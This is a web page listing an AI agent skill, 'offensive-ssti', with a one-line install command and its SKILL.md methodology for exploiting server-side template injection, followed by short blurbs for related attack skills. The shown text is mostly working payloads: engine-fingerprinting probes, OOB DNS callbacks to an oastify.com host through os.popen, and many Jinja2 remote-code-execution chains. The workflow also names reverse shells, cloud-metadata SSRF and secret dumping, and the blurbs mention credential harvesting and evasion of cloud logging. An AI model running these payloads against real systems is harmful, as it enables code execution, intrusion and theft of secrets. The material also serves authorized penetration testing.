Skip to main content
ClaudeWave
Skill3.1k repo starsupdated 12d ago

offensive-ssti

The offensive-ssti skill provides a systematic methodology for identifying and exploiting server-side template injection vulnerabilities across multiple template engines including Jinja2, Twig, Freemarker, Pebble, and Velocity. It includes detection techniques using polyglot payloads, engine identification methods, blind SSTI testing approaches, and filter bypass strategies. Use this skill when assessing web applications for template injection risks or conducting penetration tests on systems utilizing dynamic template rendering.

Install in Claude Code
Copy
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-ssti && cp -r /tmp/offensive-ssti/Skills/web/offensive-ssti ~/.claude/skills/offensive-ssti
Then start a new Claude Code session; the skill loads automatically.

SKILL.md

# Server-Side Template Injection (SSTI) -- Offensive Methodology

SSTI exists wherever user-controlled input is concatenated into a server-side
template string and the engine evaluates it as code. The engine executes
attacker-supplied directives, granting access to the language runtime and, in
nearly every engine, remote code execution through the host language's object
model. You encounter SSTI in any application passing raw user input to functions
like `render_template_string()`, `Template()`, or `compile()`.

CWE-1336. MITRE ATT&CK T1190.

## Quick Workflow

1. Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
2. Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
3. Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
4. Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
5. Escalate to information disclosure: dump config, env vars, secrets, internal paths.
6. Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
7. Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
8. Produce non-destructive PoC with unique marker and capture the full request/response chain.

---

## 1. Engine Detection and Fingerprinting

### 1.1 Polyglot Probes

```text
${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)
```

Engine-narrowing probes:

```text
{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)
```

For Velocity, inject `#set( $x = 7 * 7 )` then reference `$x`.
For Thymeleaf/SpEL, inject a dollar-curly expression with `T(java.lang.Math).PI`.
For Mako, inject a dollar-curly expression with `self.module.__name__`.

### 1.2 Decision Tree

```text
{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor
```

### 1.3 Error Signatures

| Signature                                        | Engine     |
|--------------------------------------------------|------------|
| `jinja2.exceptions.UndefinedError`               | Jinja2     |
| `Twig\Error\SyntaxError`                         | Twig       |
| `freemarker.core.ParseException`                 | Freemarker |
| `org.apache.velocity.exception`                  | Velocity   |
| `com.mitchellbosecke.pebble.error`               | Pebble     |
| `SmartyCompilerException`                        | Smarty     |
| `mako.exceptions.SyntaxException`                | Mako       |
| `Parse error` with Handlebars context            | Handlebars |
| `SyntaxError` with ERB path                      | ERB        |
| `org.thymeleaf.exceptions.TemplateProcessing`    | Thymeleaf  |
| `SyntaxError` with `.ejs` path                   | EJS        |
| `Pug:Error`                                      | Pug        |

### 1.4 Blind Detection

**Time-based:** `{{range(99999999)|join}}` (Jinja2), `<%= sleep(5) %>` (ERB).
For Java engines, inject a dollar-curly with `T(java.lang.Thread).sleep(5000)`.

**OOB DNS:** Use Burp Collaborator or interactsh. Jinja2:
`{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}`.
Twig: `{{['nslookup UNIQUE.oastify.com']|map('system')}}`.

**Error inference:** Compare `{{7*7}}` vs `{{7*'INVALID}}` -- different response
behavior confirms processing.

---

## 2. Jinja2 / Python

Exploitation relies on MRO traversal to `object`, subclass enumeration, and
`__globals__`/`__builtins__` access.

### 2.1 MRO Traversal and Subclass Enumeration

```python
{{''.__class__.__mro__[1]}}                    # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}}   # List all subclasses

# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
```

### 2.2 RCE Chains

```python
# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}

# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
offensive-active-directorySkill

Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.

offensive-ai-securitySkill
offensive-jwtSkill

JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.

offensive-oauthSkill
offensive-cloudSkill

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.

offensive-basic-exploitationSkill
offensive-crash-analysisSkill
offensive-exploit-dev-courseSkill